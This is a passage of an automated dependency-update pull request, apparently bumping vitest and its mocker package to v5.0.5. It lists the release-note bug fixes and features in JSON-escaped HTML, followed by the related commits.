--\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6a11cf66f99fa610b7364363d5ca42b66d994f40\"\u003e\u003ccode\u003e6a11cf6\u003c/code\u003e\u003c/a\u003e chore: release v5.0.4 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11554\"\u003e#11554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/58c86edb92ec4d470dc87c060002cbd5725900de\"\u003e\u003ccode\u003e58c86ed\u003c/code\u003e\u003c/a\u003e chore(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11550\"\u003e#11550\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c95521730bbc58ab20052f7ff807c29a8fbeb65\"\u003e\u003ccode\u003e5c95521\u003c/code\u003e\u003c/a\u003e fix(browser): clean up unmocked and pending mocks (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11537\"\u003e#11537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/cd423ba045ed50662ea8e7bf7c2373e876cc0e5e\"\u003e\u003ccode\u003ecd423ba\u003c/code\u003e\u003c/a\u003e fix(mocker): fix native loader mocking edge cases (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11540\"\u003e#11540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00ec0f241820b7d885e37e84a61abba2c\"\u003e\u003ccode\u003e36d19cb\u003c/code\u003e\u003c/a\u003e fix: wrap module mocks during in-source testing (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11505\"\u003e#11505\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe025b26616904c1e35636cb43b74ceb41002c41\"\u003e\u003ccode\u003efe025b2\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency msw to v3 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11482\"\u003e#11482\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9d81007cc10390da5d802e5d673e7b9e\"\u003e\u003ccode\u003eb0f2b3b\u003c/code\u003e\u003c/a\u003e fix: track project files and mocks with --changed (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11432\"\u003e#11432\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/33cadea62e8763c455c7fca38d9ab1dda87c5f75\"\u003e\u003ccode\u003e33cadea\u003c/code\u003e\u003c/a\u003e chore: release v5.0.3 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11409\"\u003e#11409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35\"\u003e\u003ccode\u003e15cc006\u003c/code\u003e\u003c/a\u003e fix: don't print an interceptor warning in browser mode (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11377\"\u003e#11377\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/mocker\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 3.2.7 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason 